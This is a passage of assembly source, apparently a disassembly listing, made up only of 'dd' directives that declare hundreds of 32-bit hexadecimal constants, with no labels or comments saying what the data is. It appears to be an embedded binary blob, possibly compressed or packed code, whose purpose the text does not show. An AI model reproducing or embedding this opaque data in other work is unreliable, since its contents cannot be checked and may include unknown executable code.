		dd 0A80E6802h, 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh
		dd 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh, 500A6500h,	86EA015Eh
		dd 55D404E1h, 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h
		dd 107F001Fh, 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h
		dd 0D5380088h, 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch
		dd 0FE3500F6h, 0ADD66AF9h, 5002818h, 47CA0CC1h,	4FC8D53h
		dd 0C6297BDFh, 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh
		dd 3F750029h, 12E653FFh, 0ECB064A4h, 3FF4FA4Ch,	0E9098082h
		dd 22021845h, 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h
		dd 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h, 810CEA3Ah
		dd 527333D6h, 0EB20077Fh, 114000B4h, 31577242h,	43F8484Dh
		dd 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h,	7C080C2Ch
		dd 3B4C980h, 2B1F4BD6h,	0B0000A60h, 0C8022E18h,	3F800F06h
		dd 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h
		dd 0C2790950h, 38805F86h, 8E0E7412h, 28824C01h,	0C780D231h
		dd 0F7E2C8h, 4101028Ah,	0F686140Bh, 7570E000h, 0DE3C58F2h
		dd 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h
		dd 0A3A5275h, 0E6B37740h, 54D30F20h, 5C401460h,	612BC889h
		dd 817A4400h, 586A07E2h
		dd 0F0C43FE4h, 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h
		dd 1C9EBA3h, 39F00A7Bh,	0ECC156CCh, 0BC00FA04h,	869460A0h
		dd 0EDEF69Dh, 3FAC8313h, 0D089AD00h, 807DCDEBh,	0A8201E00h
		dd 0EA7D901h, 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h
		dd 1A24D904h, 669CFA81h, 7397B0FBh, 0C4883C05h,	0E072500h
		dd 0F62FCA5h, 0EA7B8401h, 2F2985FAh, 0E0499F0h,	0E03906ADh
		dd 32C30720h, 172C7440h, 1739997Ah, 74126601h, 0D9075913h
		dd 804B49BFh, 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h
		dd 480FC8EDh, 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h
		dd 2A271FC4h, 3E45A01Bh, 5500A98Fh, 0D84BC179h,	0DFBBF3h
		dd 0CED2031Fh, 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h
		dd 18066C74h, 3FEB2880h, 1D8D3700h, 0FFEEB90Ah,	91FCE340h
		dd 0CB3104E8h, 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h
		dd 0B0E8A097h, 5A8A098h, 0D4370734h, 20358BB2h,	0EC0DC402h
		dd 318E800h, 3C836F11h,	0B91200A1h, 0B1437194h,	76003689h
		dd 0C2230FC0h, 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh
		dd 809DA2C8h, 49A03Dh, 0ECA11A74h, 509E5CB9h, 32872900h
		dd 0FF10280Ch, 81A60015h, 5854C35Eh, 2000B22Ch,	5FB7DA36h
		dd 3E94099Ah, 5EE09332h, 83F07072h, 0E224B90Fh,	34801E1Ch
		dd 5A7CA63Eh, 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h
		dd 0BB878405h, 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h
		dd 171EB4Ch, 8C66C700h,	8304A8D8h, 0EAE90010h, 0C3FA3265h
		dd 0E5005E75h, 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h
		dd 54059A0Eh, 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh
		dd 1E00A2D7h, 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h
		dd 0E81A0700h, 57ECF391h, 81C32C69h, 7422097Ah,	0B5408300h
		dd 0C0010A6Ch, 38F640Ch, 3DDCD0BAh, 5CC10042h, 525051C3h
		dd 8807EE66h, 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh
		dd 0AC3C6942h, 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh
		dd 0D7EE56AAh, 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh
		dd 9F480DE0h, 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h
		dd 0F99D00EDh, 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh
		dd 0EA5657h, 3685944h, 30058B64h, 3C148500h, 421904F2h
		dd 0C4080F02h, 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h
		dd 0B27862C0h, 1859005Eh, 0FE6A8B29h, 2713ABDh,	8624FF00h
		dd 27C067C7h, 33CB0E68h, 88091DBh, 0E8507417h, 62005AFCh
		dd 0F207E688h, 97D36Bh,	51759BB4h, 1457C922h, 0A2199513h
		dd 0FBEE12h, 4CBBD4DEh,	600F713h, 560B245Bh, 1CCB3A73h
		dd 9F92EBA7h, 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch
		dd 768006A6h, 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h
		dd 582F0064h, 74C1487Fh, 80FAB89Fh, 0FB4F7D00h,	9536D0D6h
		dd 1E40087h, 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h
		dd 0EB4599h, 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh,	8D402E59h
		dd 68EC552Dh, 57B3004Fh, 0E2AEC583h, 343E1215h,	0F6D2AC75h
		dd 0D840501Dh, 4C32FFB3h, 8A60083h, 962E5CF6h, 8EF87193h
		dd 221FEC7Ah, 0B44F4175h, 2B3960E4h, 705F1BC2h,	0EF8F17Ch
		dd 83F41D11h, 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h
		dd 0EE7EBDD2h, 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h
		dd 424B01D7h, 153B1249h, 0E10EF0A5h, 683C7700h,	2E855274h
		dd 7FD70059h, 756E8441h, 8006604h, 4A92BE69h, 0E26B5B10h
		dd 0F313E2E2h, 19C4B8DDh, 2C874C76h, 2078840Eh,	0F4285E4h
		dd 97801F10h, 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h
		dd 904F6400h, 0C27288Ah, 0B1383EFFh, 96BD7800h,	50101560h
		dd 5CBF5300h, 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah
		dd 121F71D1h, 2B50296h,	89F4F287h, 0CAC00D14h, 680084E9h
		dd 0A177EA90h, 490894h,	143EA259h, 0A30C6674h, 314F300Eh
		dd 1F35CFBDh, 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h
		dd 0B5022AB0h, 50093195h, 32836068h, 0DB5D0303h, 0A559974h
		dd 2EB20400h, 684C2B7Ah, 13D7614h, 66400885h, 0CCA8D753h
		dd 5C6761EDh, 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah
		dd 6A04C80Eh, 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h
		dd 9734CFAh, 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
		dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
		dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
		dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h,	0F613B888h
		dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h,	0D77C8B52h
		dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
		dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
		dd 0D7BC5Bh, 0A1AAC9Fh,	4410044Fh, 0B34C8F00h, 0FE91C690h
		dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
		dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
		dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
		dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h,	80041D3Bh
		dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
		dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
		dd 885444A6h, 2901164h,	2135E6Ch, 894193ADh, 0CF9BF0FDh
		dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
		dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h,	7720C00h
		dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
		dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h,	8A87C545h
		dd 0D37BB4h, 52FB25D2h,	9264F2C3h, 4B4AFC13h, 694CA600h
		dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
		dd 18B91C53h, 35B8315h,	0A3D8FED3h, 0F598E011h,	51A4042Ch
		dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
		dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
		dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h,	0F33B558Dh
		dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h,	0D6991401h
		dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
		dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
		dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
		dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h,	98427D63h
		dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
		dd 553A16h, 0FAED75F5h,	615097E0h, 0C30045Ch, 5A0689D8h
		dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h,	0BD340310h
		dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
		dd 69F70059h, 1680827h,	2F000BD4h, 41EDCE80h, 152420h
		dd 74664C94h, 1FFD389h,	840F3A00h, 113FA9F4h, 0BFDE0096h
		dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h,	0F34E8218h
		dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
		dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
		dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
		dd 91A92C9h, 366E194Fh,	16C0D08Fh, 0A3CDF841h, 2134F600h
		dd 0F4107D2Ah
		dd 0C94E00D4h, 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h
		dd 0ED8B9CB8h, 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h
		dd 0B73A2274h, 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh
		dd 82EFD7B1h, 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh
		dd 3EBF7DD8h, 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h
		dd 886EA79Ch, 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h
		dd 3D8B002Eh, 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h
		dd 0A0003A45h, 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h
		dd 1D33C25Eh, 81F2DD18h, 281536C4h, 0F82CD589h,	0AC907784h
		dd 0D30022FAh, 0A51DE87Eh, 5539D9h, 0A4CFAAACh,	0B6AB362Ah
		dd 4ED25005h, 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch
		dd 28588D07h, 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h
		dd 9D71EB1Fh, 0EAB82280h, 3EAEE3h, 44B4228h, 0AFAF9DFh
		dd 8F6A3F00h, 8A587B9Fh, 54150027h, 0C7642994h,	5B0033A7h
		dd 1E759546h, 15A9Bh, 24871785h, 36FF1491h, 0C306F400h
		dd 8F75D6EAh, 0FA5E004Ah, 85F310D2h, 2400CF3Ch,	93DBE848h
		dd 0C65F49h, 0A73079D7h, 1FB9BF0h, 2B887700h, 317B53BBh
		dd 7557D6Eh, 0F96AB121h, 0D0F84768h, 82F50928h,	29891600h
		dd 9ECF0D45h, 0C001FEC8h, 0B94CB70h, 0CD0099F4h, 517FEF62h
		dd 0A15803h, 0E474B118h, 846C1614h, 4F268BF0h, 0D2001180h
		dd 0AD44C4DDh, 276F3CB7h, 0FC773E00h, 10428EB2h, 0E9894A00h
		dd 931675F2h, 157A25h, 6950C7B1h, 23ABC28Fh, 5D400200h
		dd 53992444h, 0DF785C41h, 0D2F63200h, 0D49B0309h, 864630Fh
		dd 69FF000Bh, 44CFCCh, 0B94B851Ah, 1452965Bh, 0E6BA5600h
		dd 13505358h, 9C780089h, 4AA574F1h, 310229BEh, 8D2A0746h
		dd 45244054h, 37120143h, 3570A985h, 7378F456h, 74160800h
		dd 9CAE0D24h, 9A5E0EE4h, 834023A0h, 0BF42AAA9h,	21D62D00h
		dd 0C5521ACAh, 6A290007h, 0C6644367h, 0CF0034AAh, 5076A3B3h
		dd 3C20614h, 0A6F0997h,	0CAA11A9Ch, 983DF005h, 165C6B7Bh
		dd 15C500E7h, 6EC81D33h, 45ED3D3Bh, 59348200h, 5B782406h
		dd 744A6000h, 63C27A12h, 10771Fh, 64B82D15h, 0E719BB77h
		dd 0B40A7200h, 9427F8FCh, 807100E0h, 3C6C37D2h,	0E20085F5h
		dd 0FB876B8Dh, 0FC097Dh, 0CEFAC922h, 0B39AC574h, 9CD55A00h
		dd 0EF4903E8h, 2B120F5Dh, 0D0944BC7h, 80D7B31Fh, 6D20D429h
		dd 7807431Fh, 94FBA538h, 56E2B800h, 0D25A000Eh,	0E4471019h
		dd 66037488h, 0A1E614C5h, 0F26F935h, 0A8AEB40h,	2851001Ch
		dd 90135D1Dh, 0E200143Ch, 72A0DC24h, 0BF8215B0h, 1EEAAF8h
		dd 28037575h, 835C3C2Ah, 0C076FA2Dh, 50C065h, 2143BE8h
		dd 0D344E7B1h, 0DC199C00h, 921C298Dh, 0A94909D4h, 0EC83A116h
		dd 4EE05DAFh, 3E7EB089h, 33705700h, 3593D588h, 97B50369h
		dd 2C5F256Fh, 2B29C7A8h, 34A1A400h, 525BDB8Ah, 0E391006Eh
		dd 882FB580h, 4200D621h, 0D0396147h, 675B0Ah, 689FC274h
		dd 282D35D2h, 88595D16h, 389E991Ch, 601CA18Fh, 10FAE72Ch
		dd 1E3700F1h, 96303611h, 6800C020h, 80284D53h, 979EA5h
		dd 184FEA8Fh, 0E555012Bh, 0C7521400h, 8BEC04F4h, 947A35h
		dd 0D025608Ah, 9B2341BEh, 9864B600h, 8B16116Ch,	53040748h
		dd 62F5AB7Dh, 9E02368h,	0DF0093F7h, 0D89DBFEDh,	0EAD544FEh
		dd 89AA00A3h, 40191802h, 58001A10h, 32C78E66h, 0B92B16h
		dd 68444260h, 73CA11ACh, 3326040Fh, 5AF9E00Ah, 8E3210h
		dd 89D02B09h, 0E299868Ah, 688BD100h, 98FF85F6h,	0C4C500F7h
		dd 54913CA3h, 41003BEBh, 0A5C70334h, 1DEE6151h,	40AD5708h
		dd 8045A268h, 6C243B33h, 0C0F7B24h, 855E20F8h, 1E12DB9Ch
		dd 0CEB28B61h, 378040A3h, 3DAB0813h, 6F07100h, 0C65C035Dh
		dd 51EB002Fh, 0D9981B7Fh, 0DC3FEA46h, 0C8D200FAh, 0A44B6BE9h
		dd 5E7600B5h, 6240FF38h, 0E800C1C2h, 8474DB42h,	72011Fh
		dd 0A048F723h, 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh
		dd 90680015h, 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h
		dd 0FCBC015Dh, 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h
		dd 7E1960Bh, 2F571327h,	51B8E010h, 9E3E18C0h, 21C026Dh
		dd 0E06FE80Bh, 4E1660h,	0BA673021h, 0E52E70A4h,	8CBBE000h
		dd 85340F0Ah, 0E3C001EEh, 22A05CA1h, 18C4D428h,	2052E51Eh
		dd 2B27C880h, 0EFD00Ah,	0BE848D4Fh, 0C7751D83h,	0A5F2D700h
		dd 0FEF40E48h, 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh
		dd 4B04E600h, 0B057A384h, 972D00E1h, 70895130h,	94900853h
		dd 5C81B800h, 0EA18212Bh, 4352008Eh, 9747DE1Dh,	95009436h
		dd 0A1F146A9h, 9685502h, 927C86DDh, 0BC210B80h,	563C75FDh
		dd 0C289F3Dh, 0E91EF8C0h, 79ECA419h, 30C700F5h,	0AFAA50BCh
		dd 4C00C641h, 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh
		dd 0FA4FFF26h, 50808303h, 99E8C83Bh, 0CEA0078h,	0FF892EE4h
		dd 88A0877Bh, 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h
		dd 0D36948B9h, 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h
		dd 5B30007Dh, 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh
		dd 0FD250016h, 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h
		dd 21B3EDEBh, 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch
		dd 90D4B957h, 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh
		dd 1C781532h, 328890Ah,	18452059h, 1DE8F0FBh, 4A7AC7EAh
		dd 80006BF6h, 1CC20978h, 3D1FB80Fh, 0E85F425Bh,	0F82B007Eh
		dd 103D2583h, 0A3750F44h, 6467D462h, 0C71103Ch,	1700EAB9h
		dd 0CBD53E13h, 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h
		dd 3910171Eh, 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh
		dd 8014773Ch, 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h
		dd 3B72DFEEh, 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh,	0FC4400A4h
		dd 7068D9FEh, 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h
		dd 0E932BB3Ch, 150C181Dh, 4FCB7A40h, 0ED3AC71h,	0C2C38449h
		dd 37568D80h, 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h
		dd 8528A0FFh, 0A8B20100h, 0B4D7504Ch, 6BC00ABh,	0CAC13994h
		dd 14003589h, 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh
		dd 39E6B00h, 0CB612CCAh, 0FA3D003Bh, 99407422h,	4F1E086Dh
		dd 2B001B93h, 0E78253E3h, 9550247Ah, 3FF30052h,	0FCC8BAB2h
		dd 16F6AD0Fh, 0ACB3C7CBh, 40CC4830h, 29A300A2h,	1D880201h
		dd 17003A8Ch, 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah
		dd 9CDB4E00h, 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh
		dd 5EC0CB98h, 0AC9E2C3Dh, 900480B6h, 5AC02D89h,	98ECCEF6h
		dd 586179F5h, 2008DBDh,	898F0C6Dh, 0FC002938h, 4F63CE5Eh
		dd 0A32630h, 0C273A517h, 25228A6Bh, 0F90068EAh,	0CCEAD723h
		dd 6AFDE6h, 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h
		dd 350304CCh, 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h
		dd 0AC9E6C7Bh, 97E548AEh, 68335500h, 720AF2C1h,	0D4C40BC8h
		dd 80D753E7h, 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h
		dd 0C8D8D707h, 6457EAh,	1328F7E4h, 8FCA2443h, 763D2673h
		dd 62960090h, 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah
		dd 250066F0h, 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h
		dd 1DC2F94Ch, 0B05F07EBh
		dd 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h, 0ADA454A8h
		dd 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh,	0CD3788B0h
		dd 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh, 0D1940584h
		dd 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh, 6BDF00A6h
		dd 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h,	32A7E16h
		dd 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh, 7645002Ch
		dd 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h, 0A9837D55h
		dd 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h, 0F0072809h
		dd 0C50AEEh, 521502E1h,	0A012DA55h, 8301A6A5h, 9CFF305Ch
		dd 3C1B7BCCh, 7FC1486h,	1CF83101h, 0C21AF052h, 0EA01C1D0h
		dd 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh, 0AE752E08h
		dd 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h,	0E43C5EC7h
		dd 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh, 0C8B3A7F6h
		dd 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh,	9E7E8C3Bh
		dd 30007958h, 86C3298Ah, 34220064h, 6C2BC187h, 1C00237Fh
		dd 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h, 488A3C53h
		dd 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh, 0F7143A03h
		dd 6F88C401h, 10086977h, 7E297Ch, 20C58319h, 0DC7E1C5Ah
		dd 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h, 0D74D2C14h
		dd 0F81FE297h, 87814E10h, 64C10508h, 7256E4h, 0BE13D44Fh
		dd 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h, 52843CBAh
		dd 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h, 98048BEFh
		dd 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h,	510203C4h
		dd 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh,	0F8E76783h
		dd 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h,	1982BCEh
		dd 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h
		dd 0C80238D4h, 30B4D26Ch, 4201E022h, 34990004h,	8C5F3FB8h
		dd 7E001F0Ch, 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh
		dd 0F600DA3Bh, 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh
		dd 80B9101h, 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h
		dd 28CD4098h, 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh
		dd 89F8210Dh, 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h
		dd 0D017D93Ch, 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh
		dd 20A1824Ch, 7E023AE0h, 0B583C700h, 8C2A8D58h,	27230054h
		dd 0F2A5299Fh, 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h
		dd 5134C3A6h, 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h
		dd 911F6850h, 0DB83E055h, 2FB97B00h, 567E7ADAh,	0C89C074Dh
		dd 1F5D5CE0h, 38C75060h, 0EFE8588Ah, 5A260D01h,	32205F74h
		dd 15A5B340h, 10240009h, 438D55C1h, 3600352Ah, 19AAA034h
		dd 900D9EFAh, 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h
		dd 0E5197515h, 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch
		dd 0EC3C2207h, 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h
		dd 30500600h, 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah
		dd 80A41840h, 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h
		dd 34502CBEh, 5864BBh, 698592A8h, 94A791DBh, 9522721Eh
		dd 8EF6BD80h, 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h
		dd 55437850h, 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh
		dd 0B7C766EBh, 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h
		dd 0F46F2439h, 0FF00FBFCh, 6DA1876h, 1D8E7F78h,	40CF8B7Bh
		dd 0D04AA613h, 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h
		dd 4C358B80h, 214A7E64h, 9A07787Ch, 0E8BC5C0Ah,	0F0F87CE0h
		dd 0C54F07B2h, 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h
		dd 167F425h, 2F2DC55Fh,	0F59E8351h, 6688F405h, 53153707h
		dd 24E57593h, 8B3BB0C0h, 5AF10728h, 0E0609749h,	365D3857h
		dd 3F529B00h, 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah,	21565762h
		dd 0EA73AE00h, 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh
		dd 0C0318E2Fh, 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah
		dd 79642FECh, 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h
		dd 3BC51E0Ch, 119D211Ah, 89190034h, 0D1AD0868h,	2CA92300h
		dd 4930900Ah, 0D8C10F96h, 7F407E83h, 70687705h,	0E0185E00h
		dd 453020C8h, 28663B40h, 2B344207h, 1525400Ch, 570F12BEh
		dd 0FD23BB8Eh, 0BA9FC783h, 0B745D0C9h, 8FF092h,	0BF06CAB6h
		dd 0C0DE2090h, 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h
		dd 561F6119h, 88000C49h, 35941D55h, 89B0047h, 66929EA4h
		dd 2116739Dh, 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah
		dd 553B9894h, 0B12400CAh, 589C5172h, 3C0F7DEBh,	6A00F277h
		dd 0CE70DD5Ah, 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh
		dd 0DA4714F2h, 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h
		dd 0B86F28AAh, 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h
		dd 8CF05290h, 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h
		dd 0A09F13C3h, 88F680A7h, 0E800B0ECh, 66A05F1h,	2413CE5Eh
		dd 0AD6C7Ch, 59A94E82h,	0A20E9048h, 40A14434h, 2058B9A4h
		dd 5EA5008Ah, 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h
		dd 2E745E0h, 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h
		dd 820CD054h, 8AD5B080h, 24B70037h, 49E65906h, 630061BFh
		dd 0AE121D58h, 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh
		dd 0C18500CFh, 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh
		dd 1C5DCAFAh, 3E9E055h,	0A468D900h, 81D4B785h, 0C4900029h
		dd 21718A23h, 38054424h, 5EEE1D0Fh, 0AA1ACBC0h,	0C4AD0064h
		dd 0A5949E51h, 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch
		dd 0A8DBC816h, 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h
		dd 0DA534540h, 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h
		dd 744C8EEh, 23E2475Ch,	9D13604Ch, 0E54C49E4h, 0B2F1E4Eh
		dd 0BE644AC2h, 84F5403Eh, 4B345C56h, 50B8BB00h,	60318925h
		dd 7327EB00h, 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h
		dd 10739BC7h, 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h
		dd 0C4D9F5C2h, 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h
		dd 0E0221E75h, 7542320h, 8A53C379h, 70818027h, 9300B57Ah
		dd 9A61F265h, 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h
		dd 0DC25E1Fh, 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h
		dd 49EAAF97h, 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h
		dd 52510F00h, 9FB35D2h,	0E68E009Ah, 0A6E9661h, 3000C481h
		dd 604FC319h, 158D13h, 23515092h, 0AD90BC10h, 0A38A900h
		dd 21DFDAEh, 89D838FEh,	0C108071Eh, 14100E0Ch, 207D2016h
		dd 0E09FBE70h, 7A706014h, 0C0A00380h, 910129E0h, 44022290h
		dd 89040300h, 18251505h, 310E214h, 84820636h, 0A9309E2h
		dd 0CB30BA3h, 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh
